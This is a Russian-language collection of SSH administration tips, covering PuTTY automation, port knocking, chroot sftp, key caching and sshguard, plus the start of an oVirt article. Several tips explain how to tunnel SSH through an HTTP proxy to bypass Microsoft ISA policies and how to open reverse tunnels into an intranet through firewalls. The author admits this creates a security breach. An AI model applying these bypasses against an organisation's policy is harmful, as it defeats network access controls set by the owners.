    Если кто-нибудь нажмет кнопку YubiKey много раз (больше двадцати для этого
    примера), то ключ рассинхронизируется с сервером и вам придется сбросить его,
    сгенерировав новый и заменив старый в users.oath.
    
    Есть еще libpam-google-authenticator, который ведет себя похожим образом, но
    недоступен для Debian Wheezy.
    
    Если у вас много сервереров и вы хотите использовать один YubiKey для всех, то
    вам потребуется что-нибудь вроде центрального сервера аутентификации, чтобы
    избежать рассинхронизации ключей.
    
     
    ----* Автоматизация запуска PuTTY и XMing   Автор: Igor Garkusha  [комментарии]
     
    Задача: Организовать автоматизированное подключение Windows-клиента
    к Linux-серверу терминалов через программу PuTTY (по ssh-протоколу) в связке с
    XMing. Windows-клиент имеет в домене
    гостевой профиль (все настройки после выхода из системы сбрасываются). Имена
    пользователей из домена Windows и на сервере терминалов совпадают(!).
    
    Основная проблема: все свои настройки PuTTY хранит в реестре
    Windows, что делает невозможным их повторное использование после гостевого входа.
    
    Пути решения.
    
    1. Перед выходом из сеанса работы с PuTTY сохранять его ветку рееестра с
    настройками. Недостаток: решение не является универсальным и гибким. Например,
    старт X сервера необходимо выполнять отдельно указывая каждый раз
    пользовательские настройки, что есть длинный путь для гостя.
    
    2. Создать специальный скрипт(ы), автоматизирующий подключение PuTTY.
    
    Рассмотрим второй вариант. 
    
    Пусть IP-адрес Linux-сервера 10.0.0.1, 
    локаль пользователя Linux в кодировке UTF-8, 
    X сервер XMing установлен в каталог "C:\Program Files\Xming".
    
    Создадим, например, следующую структура каталогов и файлов:
    
    	каталог XServer
    		файл StartTerminal.cmd
    		каталог config
    			файл do_start_terminal.cmd
    			файл start_XServer.js
    			файл config.xlaunch
    			файл putty.prog (переименованный putty.exe)
    
    Скрипт StartTerminal.cmd:
    
       @echo off
       SET XMING_SRV_PATH="C:\Program Files\Xming"
    
       SET REMOTE_SERVER=10.0.0.1
    
       SET REMOTE_CODEPAGE_LOCALE=UTF-8
    
       cmd /C %CD%\config\do_start_terminal.cmd %XMING_SRV_PATH% %REMOTE_SERVER% %REMOTE_CODEPAGE_LOCALE%
    
    Скрипт config\do_start_terminal.cmd:
    
       @echo off
    
       cmd /C %CD%\config\start_XServer.js %1
    
       reg add HKCU\Software\SimonTatham\PuTTY\Sessions\User /v HostName /t REG_SZ /d %2 /f
    
       reg add HKCU\Software\SimonTatham\PuTTY\Sessions\User /v LineCodePage /t REG_SZ /d %3 /f
    
       reg add HKCU\Software\SimonTatham\PuTTY\Sessions\User /v X11Forward /t REG_DWORD /d 1 /f
    
       reg add HKCU\Software\SimonTatham\PuTTY\Sessions\User /v UserName /t REG_SZ /d %USERNAME% /f
    
       reg add HKCU\Software\SimonTatham\PuTTY\Sessions\User /v X11Display /t REG_SZ /d %COMPUTERNAME% /f
    
       start %CD%\config\putty.prog
    
    Скрипт config\start_XServer.js:
    
       var XLaunchPath = WScript.Arguments(0);
    
       var WshShell = WScript.CreateObject("WScript.Shell");
    
       var cfgPath= WshShell.CurrentDirectory+"\\config\\config.xlaunch";
    
       var execPath = XLaunchPath + "\\XLaunch.exe -run " + cfgPath;
    
       WshShell.Exec(execPath);
    
    
    Файл настроек XMing config\config.xlaunch (можно заранее подготовить при помощи программы XLaunch):
    
       <?xml version="1.0"?>
    
       <XLaunch xmlns="http://www.straightrunning.com/XmingNotes"  
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
         xsi:schemaLocation="http://www.straightrunning.com/XmingNotes XLaunch.xsd" 
         WindowMode="MultiWindow" ClientMode="NoClient" Display="0" Clipboard="true" 
         ExtraParams="-xkblayout us,ru -xkbvariant basic,winkeys -xkboptions grp:caps_toggle -dpi 96"/>
    
    
    После запуска скрипта StartTerminal.cmd в окне программы PuTTY необходимо
    выбрать из списка настройки User, нажать на кнопку Load, а затем на Open. Далее
    согласиться с диалогом по поводу ssh и в окне терминала ввести пароль пользователя.
    
    Представленная скриптовая схема является гибкой и позволяет проводить всю
    необходимую автоматизацию настроек PuTTY, а также запуск X сервера XMing с
    нужными параметрами.
    
     
    ----* Как удержать SSH-соединение от обрыва при использовании Socks   [комментарии]
     
    При выходе в сеть через Socks-прокси ssh-соединение часто разрывается после
    небольшого интервала неактивности (иногда достаточно несколько секунд).
    Чтобы этого не произошло необходимо использовать опцию ServerAliveInterval=N,
    которая заставляет ssh через N секунд отправлять alive-пакеты, не дающие
    автоматически оборвать соединение из-за истечения таймаута.
    
    Пример:
    
       tsocks ssh -o ServerAliveInterval=3 myhost.test.ru
    
     
    ----* Создание HTTP-туннеля для удаленного доступа к Linux-хосту в обход Microsoft ISA (доп. ссылка 1)   [комментарии]
     
    Для организации управления внешней рабочей станцией из корпоративной сети,
    защищенной Microsoft ISA, можно поднять HTTP-туннель, при помощи которого можно
    установить TCP-соединение, несмотря на использование HTTP-прокси и жестких
    политик ограничения доступа на межсетевом экране.
    
    Использовать классический пакет GNU HTTPtunnel
    (http://www.gnu.org/software/httptunnel/) в такой ситуации мешает отсутствие
    поддержки в данной программе  NTLM-аутентифиукации, как правило используемой
    при организации выхода пользователей в сеть через Microsoft ISA. Выходом в
    данной ситуации является использование программы BoutDuTunnel
    (http://boutdutunnel.net/), совместимой с большинством HTTP-прокси,
    поддерживающей NTLM-аутентифиукацию, способной работать даже при блокировании
    HTTPS и метода "Connect", содержащей в себе встроенный HTTP-сервер и
    поддерживающей работу поверх Socks.
    
    BoutDuTunnel поддерживает работу из Linux и Windows, при запуске из Linux
    достаточно установить пакет mono и загрузить готовый исполняемый файл bdtunnel
    (http://sourceforge.net/projects/bdtunnel/files/).
    
    После установки правим на стороне удаленного сервера файл BdtServerCfg.cfg в
    директории BdtServer, приведя его примерно в такой вид:
    
       <service
          name = "BdtServer"
          protocol = "Bdt.Shared.Protocol.TcpRemoting"
          port = "80"
        />
    
       <users>
          <имя_пользователя
             enabled = "true"
             password = "пароль"
             admin = "false"
             stimeout = "12"
             ctimeout = "1"
          />
       </users>
    
    , где name - имя туннеля (должно быть одинаковым на обоих концах туннеля),
    protocol - тип туннельного протокола, port - номер серверного порта для
    формирования туннеля. Секция "users" определяет параметры авторизации для
    создания туннеля и таймауты для сброса неактивных сессий и соединений.
    
    После настройки запускаем на стороне удаленного сервера (привилегии
    суперпользователя нужны для организации приема соединений на 80 порту):
    
       sudo mono BdtServer.exe
    
    На стороне клиента, находящегося в локальной сети за прокси-сервером, правим
    файл BdtClientCfg.xml в директории BdtGuiClient, приведя его к виду:
    
       <service
          name="BdtServer"
          protocol="Bdt.Shared.Protocol.TcpRemoting"
          address="адрес удаленного сервера"
          port="80"
          username="имя пользователя"
          password="пароль"
          culture=""
       />
    
       <port22
          enabled="true"
          shared="false"
          address="адрес удаленного сервера"
          port="22" 
       />
    
    Секция port22 определяет проброс 22 порта на удаленный сервер, что позволит
    использовать протокол SSH или работающие поверх него сервисы, например, rsync,
    git, NX Client.
    
    Запускаем BdtGuiClient.exe, после чего при соединении к localhost по 22 порту
    будет автоматически произведен переброс на 22 порт удаленного сервера, при этом
    с точки зрения прокси будет установленно классическое HTTP-соединение, так как
    на удаленном конце BoutDuTunnel выступает в роли HTTP-сервера, а не использует
    HTTPS-метод "Connect".
    
    Для противников Mono вместо BoutDuTunnel можно рекомендовать имеющийся в
    стандартных репозиториях Debian/Ubuntu пакет proxytunnel
    (http://proxytunnel.sourceforge.net/), который также поддерживает
    NTLM-аутентификацию, но может работать только на Unix-совместимых системах и
    требует включения метода connect на прокси.
    
    Для проброса 22 порта поверх HTTP-прокси при использовании proxytunnel
    достаточно прописать в файл конфигурации OpenSSH ~/.ssh/config:
    
       ProtocolKeepAlives 30
       ProxyCommand /usr/bin/proxytunnel --ntlm -p хост_прокси:порт_прокси -u логин -s пароль -d удаленный_сервер:443
    
     
    ----* Escape-последовательность для ssh (доп. ссылка 1)   Автор: Аноним  [комментарии]
     
    Многим известна escape-последовательность ^], используемая клиентом telnet для
    перехода в командный режим. Однако, не все знают о существовании
    escape-последовательности в ssh-клиенте.
    
    Если в вашем дистрибутиве она не включена по умолчанию, то это можно сделать
    добавив в файл конфигурации ssh_config следующую опцию:
    
       EscapeChar ~
    
    Теперь вы можете:
    
       ~?  получить список всех команд клиента
       ~.  оборвать подвисшую сессию
    
     
    ----* Автодополнение ssh-хостов в командной строке (доп. ссылка 1)   Автор: bthemad  [комментарии]
     
    Простейшим способом упрощения набора параметров для частоиспользуемых хостов
    является задание псевдонимов в ~/.ssh/config:
    
       Host        myhost      # Имя хоста
       HostName    server.com  # Это удаленнй хост
       User        username    # Пользователь на удаленном хосте
       Port        22222       # Номер порта
    
    При этом вместо "ssh -p 22222 -l username server.com" теперь достаточно написать "ssh myhost".
    
    В случае когда этого недостаточно и хочется получить в bash поддержку
    автодополнения типовых имен хостов можно добавить в ~/.bashrc или ~/.profile
    следующие конструкции.
    
    При поиске имен среди параметров Host и HostName в ~/.ssh/config:
    
       complete -W "$(echo `cat ~/.ssh/config | grep -iE '^(Host|HostName) ' | awk '{print $2}'`)" ssh
    
    
    Обычно в дистрибутивах Linux уже присутствует настройка (/etc/bash_completion)
    для автодополнения по содержимому файла known_hosts, но в последних версиях
    OpenSSH имена хостов в данном файле перестали задаваться в открытом виде,
    поэтому автодополнение не работает. Тем не менее хэширование имен можно
    отключить указав в ssh_config "HashKnownHosts no".
    
    Для поиска по known_hosts может быть использована конструкция:
    
       complete -W "$(echo `cat ~/.ssh/known_hosts | cut -f 1 -d ' ' | sed -e s/,.*//g | uniq | grep -v "\["`;)" ssh
    
    
    Более развернутый пример запроса для организации автодополнения по содержимому
    первого столбца произвольного файла my_hosts.txt:
    
       _compssh ()
       {
       cur=${COMP_WORDS[COMP_CWORD]};
       COMPREPLY=($(compgen -W '$(cut -d " " -f1 ~/my_hosts.txt) --all --schema' -- $cur))
       }
       complete -F _compssh ssh
    
     
    ----* Защищаем SSH при помощи технологии "Port Knocking" (доп. ссылка 1) (доп. ссылка 2)   Автор: Дмитрий  [комментарии]
     
    Реализация идеи динамического открытия доступа к 22 порту, при предварительном
    обращении telnet-ом на определенный сетевой порт (в примере 333 - открыть
    доступ и 334 - закрыть). Идея реализована средствами iptables, без привлечения
    дополнительных утилит и анализаторов логов.
    
       # Создаю цепочку с именем SSH
       iptables -N SSH
       # Правило по умолчанию в INPUT - DROP
       iptables -P INPUT DROP 
       # Всё что пришло на 22 порт - в цепочку SSH
       iptables -A INPUT -p tcp --dport 22 -j SSH 
       # Всё что пришло на 333 порт - в цепочку SSH
       iptables -A INPUT -p tcp --dport 333 -j SSH 
       # Всё что пришло на 334 порт - в цепочку SSH
       iptables -A INPUT -p tcp --dport 334 -j SSH 
    
    Разделения на цепочки сделано для своего удобства, от этого можно и отказаться. 
    
    Теперь заполняем цепочку SSH.
    
       # Проверяем на наличие имени "SSH" у IP адреса устанавливающего соединение на 22 порт. 
       # И если оно присутствует - то ACCEPT
       iptables -A SSH -p tcp -m state --state NEW -m tcp --dport 22 -m recent --rcheck --name SSH --rsource -j ACCEPT
    
       # Устанавливает имя SSH любому IP адресу с которого пришло новое TCP соединение на указанный порт. (порт 333)
       iptables -A SSH -p tcp -m state --state NEW -m tcp --dport 333 -m recent --set --name SSH --rsource -j DROP
    
       # Удаляет имя "SSH" с IP адреса установившего соединение на этот порт. (порт 334)
       iptables -A SSH -p tcp -m state --state NEW -m tcp --dport 334 -m recent --remove --name SSH --rsource -j DROP
    
    Насладимся итоговым результатом: 
    
    Делаем: 
       telnet ip_address_or_domain_name 333
    После чего спокойно подключаемся по SSH.
    
    Когда прекращаем работу закрываем за собой 22 порт:
       telnet ip_address_or_domain_name 334
    
     
    ----* Сопоставление логинов и хостов для упрощения входа по SSH (доп. ссылка 1)   [комментарии]
     
    При использовании разных имен пользователей на разных хостах часто приходится
    долго перебирать их и вспоминать,
    какой из аккаунтов заведен для данной машины. OpenSSH позволяет определить,
    какое из имен использовать
    для данного хоста по умолчанию. 
    
    Пример настроек .ssh/config:
    
       Host *.test1.ru
         ServerAliveInterval 60
         User user1
    
       Host *.test2.ru
         Compression yes
         ForwardX11 yes
         IdentityFile ~/.ssh/id_dsa_ext
         User user2
    
    Теперь при входе "ssh test.test1.ru" будет использовано имя user1, а при "ssh
    host.test2.ru" - имя user2.
    
     
    ----* Поддержание SSH-туннеля в активном состоянии при помощи AutoSSH (доп. ссылка 1) (доп. ссылка 2)   Автор: Roman Sozinov  [комментарии]
     
    Иногда необходимо иметь возможность удалённо управлять какими-то системами,
    которые находятся за firewall'ами,
    которые Вы не контролируете. В таких случаях помогают ssh-тунели с использованием перенаправления 
    (forwarding) портов. Например, допустим имеется удалённая машина trick, которая
    находится за маршрутизатором
    в удалённой локальной сети, и вторая машина rose имеющая внешний ip-адрес. Для того, чтобы иметь 
    возможность с rose заходить на trick (либо использовать какой-то сервис на
    trick), необходимо поднять
    туннель с использованием перенаправления удаленных портов (remote port forwarding):
    
       ssh -f -N username@rose -R 3722:127.0.0.1:22
    
    Получаем такую картину: на rose в списке открытых портов появляется порт 3722,
    который на самом деле
    перенаправляет все пакеты на 22-й порт trick-системы. После этого можно
    логиниться через ssh на trick из rose:
    
       ssh username@127.0.0.0 -p 3722
    
    А что делать, чтобы тунели были постоянно доступны? Ведь ssh-соединения бывают рвутся 
    и тогда опять необходимо с trick-системы инициировать тунель. А если trick
    находится в 100 км от Вас?
    А если их таких у Вас 20? :) Вот тут-то и помогает замечательная вещь -
    autossh, утилитка занимающаяся тем,
    что поддерживает поднятые ssh-туннели в рабочем состоянии. Перед её запуском необходимо установить 
    переменную AUTOSSH_PORT, указывающую номер порта, который будет использоваться
    для heartbeat-пакетов
    на предмет того - жив ли тунель.
    
    Также, если туннели необходимо поднимать во время старта системы, советуют установить переменную 
    AUTOSSH_GATETIME=0. Переменная AUTOSSH_DEBUG позволит получить из логов
    дополнительную информацию о ходе процесса.
    
       export AUTOSSH_DEBUG=1
       export AUTOSSH_GATETIME=0
       export AUTOSSH_PORT=20037
       autossh -f -N username@rose -R 3722:127.0.0.1:22
    
    Без ключа -f программа не отправляется в фон, поэтому данный режим полезен,
    чтобы разбираться с проблемами
    при установке туннеля, если они возникают.
    
    В приведенном выше примере кроме портов rose:3722 и trick:22 поднимается ещё 3 дополнительных 
    (так как установлена переменная AUTOSSH_PORT) - trick:20037, rose:20037, trick:20038, связанных 
    между собой в цепочку для прохождения heartbeat-пакета. Таким образом, что отправляя запрос 
    на trick:20037, пакет приходит на rose:20037, который в свою очередь
    перенаправляет его дальше на trick:20038.
    Получается своеобразный "бумеранг", позволяющий следить за туннелем.
    
     
    ----* Помещение OpenSSH пользователей в изолированное sftp окружение (доп. ссылка 1)   [комментарии]
     
    Начиная с релиза 4.9 в OpenSSH появилась возможность помещать отдельных
    пользователей в изолированное окружение.
    Помещение в chroot управляется через директиву ChrootDirectory, задаваемую в
    конфигурационном файле sshd_config.
    При задействовании sftp-server интегрированного в sshd, при этом не требуется
    формирование специального chroot окружения.
    
    Пример помещения в chroot:
    
       AllowUsers user1 user2 user3@192.168.1.1 user3@192.168.2.*
       Match user user2, user3
             ChrootDirectory /home/%u
             X11Forwarding no
             AllowTcpForwarding no
             ForceCommand internal-sftp
    
       Subsystem       sftp    internal-sftp
    
    Пользователь user1 имеет возможность входа в shell, в то время как user2 и
    user3 могут работать только по sftp,
    без возможность выхода за пределы своей домашней директории.
    При этом user3 может входить только с машины 192.168.1.1 и подсети 192.168.2.0/24.
    
    Опция "ForceCommand internal-sftp" разрешает пользователю использовать только
    sftp, встроенный в sshd.
    
    Директория, в которую происходит chroot пользователя (не имеет значения, ssh или sftp), 
    должна принадлежать пользователю root и права на запись должны принадлежать
    только владельцу (750, например).
    
    При необходимости пускать пользователей в shell, необходимо сформировать
    минимальное chroot-окружение,
    скопировав туда необходимые для работы программы и библиотеки.
    
    Например, создадим для пользователей, входящих в группу chrootusers, окружение /home/chroot
    
    В /etc/ssh/sshd_config добавим:
    
       Match Group chrootusers
           ChrootDirectory /home/chroot
           X11Forwarding no
           AllowTcpForwarding no
    
    Для формирования chroot можно использовать скрипт make_chroot_jail.sh,
    поддерживающий Debian, Suse, Fedora и Redhat Linux:
       http://www.fuschlberger.net/programs/ssh-scp-sftp-chroot-jail/
    
    Также можно порекомендовать скрипт sync_chroot.pl (ftp://ftp.opennet.ru/pub/security/chroot/ ), 
    который автоматически находит и копирует в chroot недостающие библиотеки для
    находящихся внутри chroot программ.
    
    Рассмотрим создание chroot в Debian или Ubuntu Linux.
    
    Установим необходимые для работы скрипта утилиты:
    
       apt-get install sudo debianutils coreutils
    
    Копируем скрипт make_chroot_jail.sh:
    
       wget http://www.fuschlberger.net/programs/ssh-scp-sftp-chroot-jail/make_chroot_jail.sh
       chmod 700 ./make_chroot_jail.sh
    
    Определяем список программ для chroot-окружения, в make_chroot_jail.sh находим
    строки и меняем на свое усмотрение:
    
       ...
       elif [ "$DISTRO" = DEBIAN ]; then
         APPS="/bin/bash /bin/cp /usr/bin/dircolors /bin/ls /bin/mkdir \
         /bin/mv /bin/rm /bin/rmdir /bin/sh /bin/su /usr/bin/groups \
         /usr/bin/id /usr/bin/rsync /usr/bin/ssh /usr/bin/scp \
         /sbin/unix_chkpwd /usr/bin/vi"
       else
       ...
    
    Формат вызова скрипта:
       make_chroot_jail.sh логин путь_к_shell путь_к_chroot
    
    Для создания окружения с shell по умолчанию bash для пользователя user1 выполним:
    
       ./make_chroot_jail.sh user1 /bin/bash /home/jail
    
    При этом скрипт автоматически скопирует все недостающие в chroot файлы и
    создаст директорию /home/jail/user1
    
    После обновления базовой системы, обновить chroot можно командой:
    
       ./make_chroot_jail.sh update /bin/bash /home/jail
    
     
    ----* Организация подключения по SSH через HTTP прокси   [комментарии]
     
    Устанавливаем ПО corkscrew (http://www.agroman.net/corkscrew/), позволяющее
    создавать туннели поверх HTTP прокси.
    
    Например, для Debian/Ubuntu:
       apt-get install corkscrew
    
    Для FreeBSD:
       cd /usr/ports/net/corkscrew && make && make install
    
    
    Создаем в домашней директории файл настроек .proxy-auth в который прописываем логин и пароль 
    для подключения к прокси, в формате "имя:пароль", например:
    
       moi_login:moi_parol
    
    Настраиваем проброс туннеля в SSH. В ~/.ssh/config добавляем:
    
       Host *
       ProxyCommand corkscrew хост_прокси_сервера порт_прокси_сервера %h %p ~/.proxy-auth
    
    Вместо %h и %p ssh подставит хост и порт удаленной машины
    
    Подключаемся к внешнему хосту стандартно:
    
       ssh testhost.ru
    
     
    ----* Повторное использование открытых OpenSSH соединений и кеширование ключей (доп. ссылка 1)   [комментарии]
     
    В OpenSSH предусмотрена возможность использования существующих соединений, при
    повторном коннекте к хосту.
    
    При этом аутентификация будет осуществлена только при первом соединении, для
    всех остальных соединениях вводить пароль не потребуется.
    
    Создаем или модифицируем файл ~/.ssh/config:
    
       Host *
       ControlMaster auto 
       ControlPath ~/tmp/%r@%h:%p
    
    В ControlPath определяем параметры управляющего сокета, например, в нашем случае 
    сокет будет создан в поддиректории tmp домашнего каталога текущего пользователя.
    
    При использовании туннелей, режим ControlMaster следует запретить, используя
    опцию командной строки:
       "-o ControlMaster=no"
    
    Например, для ssh транспорта subversion можно прописать в ~/.subversion/config:
    
       [tunnels]
       ssh = ssh -o ControlMaster=no
    
    
    Для кеширования приватных ключей, созданных командой ssh-keygen и используемых 
    для публичной идентификации в OpenSSH можно использовать ssh-agent.
    
    В простейшем случае достаточно предварить запуск терминальной сессий вызовом ssh-agent:
    
       ssh-agent gnome-terminal
    
    Далее выполняем 
       
       ssh-add
    
    и вводим пароль для доступа к ключу ~/.ssh/id_rsa (путь к файлу с ключом может быть 
    задан в качестве аргумента), после чего в пределах процесса gnome-terminal
    вводить пароль для данного ключа не потребуется.
    
    Обычно ssh-agent выпоняют в привязке ко всей X сессии пользователя, напирмер, 
    в Ubuntu запуск x-session-manager под управлением ssh-agent уже прописан в /etc/X11/Xsession.options
    
    Вручную, прописать запуск ssh-agent можно в .xsession, например, для старта  gnome-session:
    
       ssh-agent gnome-session
    
     
    ----* Туннели с использованием SSH. Режим эмуляции Socks proxy в SSH (доп. ссылка 1) (доп. ссылка 2)   Автор: Vladimir Brednikov  [комментарии]
     
    1. Режим эмуляции Socks proxy в SSH
    
    Допустим, у нас есть рабочая станция в локальной сети за firewall'ом;
    также имеется ssh-доступ на сервер в Интернете. Кроме ssh, никакой связи с
    внешним миром не имеется,
    а очень хочется, например, подключиться к какому-нибудь jabber-серверу.
    
    На рабочей станции запускаем простую команду:
    
       ssh -D 5555 user@remotehost -f -N
    
    , где -D 5555 - эмуляция SOCKS сервера через порт 5555 
    -f  - работа в фоне, после аутентификации
    -N - не запускать shell на удаленном хосте.
    
    Теперь, указав в настройках XMPP-клиента (например, Pidgin'а) в качестве SOCKS5
    прокси localhost:5555,
    получим желаемый результат: Pidgin соединяется с сервером через внешний сервер.
    
    
    2. Туннель ssh
    
    Дано: сервер локальной сети ourproxy.provider.ru, доступный извне.
    
    Требуется: получить из дома доступ к ресурсам внутри локальной сети, например,
    к интранет-серверу 10.10.5.1:80
    
    Решение: выполнить на домашней машине команду, пробрасывающую туннель к
    искомому IP-адресу через ourproxy.provider.ru:
    
        ssh -f -N user@ourproxy.provider.ru -L 8080:10.10.5.1:80
    
    Опция -f говорит ssh, что после соединения нужно уйти в background.
    Опция -N указывает, что никаких команд выполнять не нужно
    Ключ -L означает, что соединения к localhost на порт 8080 нужно перенаправлять
    на 80 порт IP-адреса 10.10.5.1
    
    Таким образом, набирая в браузере адрес http://localhost:8080, попадаем на нужный сервер.
    
    
    3. Обратный туннель ssh
    
    
    Дано: компьютер на работе, находящийся за firewall'ом и nat'ом; компьютер дома
    с доступом в интернет;
    сервер ourproxy.provider.ru с работающим sshd, доступный обоим компьютерам. 
    Но в данном случае прямой доступ с ourproxy.provider.ru к рабочей машине отсутствует.
    
    Требуется: получить из дома доступ к сервису sshd на рабочем компьютере.
    
    Решение: на рабочей машине выполнить команду:
    
        ssh -f -N user@ourproxy.provider.ru -R 12345:localhost:22
    
    Опции -f и -N описаны несколькими строчками выше.
    Ключ -R означает, что подключения к порту 12345 на ourproxy.provider.ru будут
    перенаправляться на 22 порт рабочего компьютера.
    
    После выполнения этой команды с рабочей машины можно будет попасть на эту
    машину с ourproxy.provider.ru,
    выполнив команду:
    
        ssh -p 12345 user@locahost
    
    По этому же принципу можно получить доступ к прочим ресурсам локальной сети. Вот еще один пример.
    
    На рабочей машине:
    
        ssh -f -N user@ourproxy.provider.ru -R 8080:10.10.5.1:80
    
    На домашней машине:
    
        ssh -f -N user@ourproxy.provider.ru -L localhost:8080:localhost:8080
    
    Теперь, набрав в адресной строке браузера на домашнем компьютере http://localhost:8080, 
    получаем доступ к интранет-серверу за семью замками двумя firewall-ами.
    
    Конечно же, это приводит к серьёзной бреши в корпоративной безопасности, 
    поэтому крайне не рекомендуется злоупотреблять этим советом.
    
     
    ----* Безопасный способ копировать бэкапы через ssh (доп. ссылка 1)   Автор: mahoro  [комментарии]
     
    Опция "command" файла authorized_keys позволяет указать команду, которая будет
    выполняться при каждом подключении пользователя по ssh.
    
    Это удобно, когда стоит задача копировать файлы на бэкап-сервер.
    Например, если необходимо предоставить доступ только к файлу backup.tgz, 
    то допишите строку "command='cat backup.tgz'" в самое начало строки с нужным
    ключом файла authorized_keys.
    Указанная команда будет выполняться автоматически при каждом подключении, 
    вам остается только перенаправить вывод в файл. Если дампов несколько, 
    то можно написать небольшой скрипт, вида:
    
       #!/bin/sh
       read file
       case "$file" in
          "foo") cat foo.tgz ;;
          "bar") cat bar.tgz ;;
       esac
    
    Кроме command, в таких случаях не лишним было бы добавить также опции
    no-port-forwarding, no-pty и все прочие no-*
    
    Кроме как для бэкапов, такое же решение может подойти и для мониторинга. 
    Когда nagios соединяется к удаленному серверу, чтобы собрать какую-либо
    статистику, полный ssh-доступ ему не нужен.
    
    В OpenSSH 4.9 появилась возможность помещать отдельных пользователей в изолированное окружение. 
    Помещение в chroot управляется через директиву ChrootDirectory, задаваемую в
    конфигурационном файле sshd_config.
    Также в sshd был встроен sftp-server и теперь не требует запуска отдельного процесса, 
    что идеально подходит для использования совместно с директивами ChrootDirectory
    и ForceCommand internal-sftp.
    
    Например, для ограничения работы пользователя backup только по sftp в пределах директории /chroot:
    
       Match user backup
           ForceCommand internal-sftp
           ChrootDirectory /chroot
      ...
      #Subsystem      sftp    /usr/libexec/sftp-server
      Subsystem       sftp    internal-sftp
    
    Пример копирования:
    
      echo "PUT backup.tgz" | sftp backup@backupserver.ru:/backup/
    
    В настоящий момент в sshd не произведена интеграция scp, т.е. при использовании scp, 
    по-прежнему требуется копирование библиотек в chroot окружение.
    
     
    ----* Автоблокирование атак по подбору паролей (brute force) в SSH под FreeBSD (доп. ссылка 1)   Автор: Roman Y. Bogdanov  [комментарии]
     
    Устанавливаем sshguard из портов:
    
       cd /usr/ports/security/sshguard
       make install clean WITH_PF=yes
    
    Настраиваем перенаправление логов в sshguard
    
       echo "auth.info;authpriv.info |exec /usr/local/sbin/sshguard" >> /etc/syslog.conf
    
    Правила блокировки по таблице, /etc/pf.conf
    
       internet="vlan50"
       table persist
       block in quick on $internet from label "ssh bruteforce"
    
    Перечитываем измененные файлы конфигурации PF и syslogd:
    
       pfctl -f /etc/pf.conf
       /etc/rc.d/syslogd restart
    
    Тестируем попробовав подобрать пароли:
       shguard[1048576]: Started successfully [(a,p,s)=(4, 420, 1200)], now ready to scan.
    
       sshd[1048577]: Invalid user administrador from 21.138.24.51
       sshd[1048579]: Invalid user publica from 21.138.24.51
       sshd[1048580]: Invalid user rbecerril from 21.138.24.51
       sshd[1048581]: Invalid user rvences from 21.138.24.51
    
       sshguard[1048582]: Blocking 21.138.24.51: 4 failures over 15 seconds.
       shguard[1048583]: Releasing 21.138.24.51 after 490 seconds.
    
     
    ----* Как скрыть отображаемую версию OpenSSH   Автор: Вотинцев Сергей А,  [комментарии]
     
    Для OpenSSH из FreeBSD, в /usr/src/crypto/openssh/version.h меняем, например, на это:
       #define SSH_VERSION_BASE        "OpenSSH"
       #define SSH_VERSION_ADDENDUM    "Beastie"
    
    пересобираем:
       cd /usr/src/secure/usr.sbin/sshd 
       make obj && make depend && make all install
    
    и имеем SSH-2.0-OpenSSH Beastie вместо SSH-2.0-OpenSSH_3.6.1p1 FreeBSD-200xxxxx.
     
    Некоторые пакеты с OpenSSH (например в AltLinux) включают в себя патч от http://openwall.com, 
    добавляющий директиву  SshVersion:
        SshVersion  OpenSSH-1.2.3
    
     
    ----* Как создать шифрованный туннель используя SSH (доп. ссылка 1)   [комментарии]
     
    ssh dmzserver -R 9999:mirrorserver:80
    ssh -R 9999:localhost:80 dmzserver
    ssh -2 -N -f -L 2110:mail.example.com:110 user@ssh-server.example.com
    
     
    ----* Как включить доступ на Cisco через ssh (доп. ссылка 1)   [комментарии]
     
    hostname имя_хоста
    ip domain-name доменное_имя
    crypto key generate rsa
    ip ssh time-out 120
    ip ssh authentication-retries 3
    line vty 0 4 
      transport input telnet ssh 
    !
    show crypto key mypubkey rsa
    
     
    ----* Как настроить доступ по SSH на базе секретных ключей без ввода пароля.   [комментарии]
     
    В /etc/ssh/sshd_config проверяем активна ли опция "PubkeyAuthentication yes".
    Запускаем на локальной машине программу ssh-keygen (ssh-keygen -t rsa),
     на все задаваемые вопросы принимаем значения по умолчанию (поле passphrase оставляем пустым).
    Далее, запускаем программу ssh-copy-id -i ~/.ssh/id_rsa.pub user@remotehost, где
       user - пользователь удаленной машины 
       remotehost - адрес удаленной машины,
    ( или вручную, на удаленной машине в директории ~/.ssh, создаем файл authorized_keys, 
    куда копируем содержимое файла identity.pub (id_rsa.pub) с локальной машины). 
    Для увеличения безопасности в файл ~/.ssh/authorized_keys на удаленной машине 
    добавляем перед ключом (разделив пробелом) строку:
        from="localhost", где localhost - адрес локальной машины (from="localhost" 1024 23 1343.....).
    
     
    ----* Какие ограничения лучше включить для SSHD ?   [обсудить]
     
    В /etc/ssh/sshd_config:
     AllowUsers user1 user2 user3@host.ru
     ChallengeResponseAuthentication no
     PermitEmptyPasswords no
     PermitRootLogin no
     Protocol 2
     UseLogin no
     X11Forwarding no
     UsePrivilegeSeparation yes
    # убрать все Subsystem
    Ограничить вход только с определенных IP через /etc/hosts.allow
    
     
    ----* Как скопировать группу файлов на удаленную машину.   [комментарии]
     
    С локальной на удаленную:
    tar czvf - список_файлов_и_директорий | ssh remote.test.ru tar xzf - -C /home/user/куда_копировать 
    Скопировать группу файлов с удаленной машины на локальную.
    ssh remote.test.ru tar czf - -C стартовая_директория какие_файлы_копировать
    |tar xzf - -C директория_куда_копировать.
    
     

       Виртуализация - Xen, OpenVZ, KVM, Qemu

    ----* Обновление сертификатов oVirt   Автор: casm  [комментарии]
     
    oVirt - свободная, кроссплатформенная система управления виртуализацией.
    Была разработана компанией Red Hat как проект сообщества, на котором основан
    продукт Red Hat Virtualization.
    
    oVirt состоит из двух основных компонентов - oVirt engine и oVirt node.
    
    oVirt engine управляет всеми хостами виртуализации, общими дисковыми ресурсами
    и виртуальными сетями. Может быть размещён как на отдельном сервере
    (standalone), так и на виртуальной машине внутри гипервизоров, которыми
    управляет (self-hosted engine).
    
    oVirt node - физический сервер с RHEL, Centos, Scientific Linux с KVM
    гипервизором и службой VDSM (Virtual Desktop and Server Manager), которая
    управляет всеми ресурсами, доступными серверу (вычисления, ОЗУ, хранилище,
    сеть), а также управляет запуском виртуальных машин. Несколько узлов могут быть
    объединены в кластер.
    
    В примерах ниже будут один oVirt engine и три oVirt node:
    
    
  • oVirt engine - virt-he.example.test
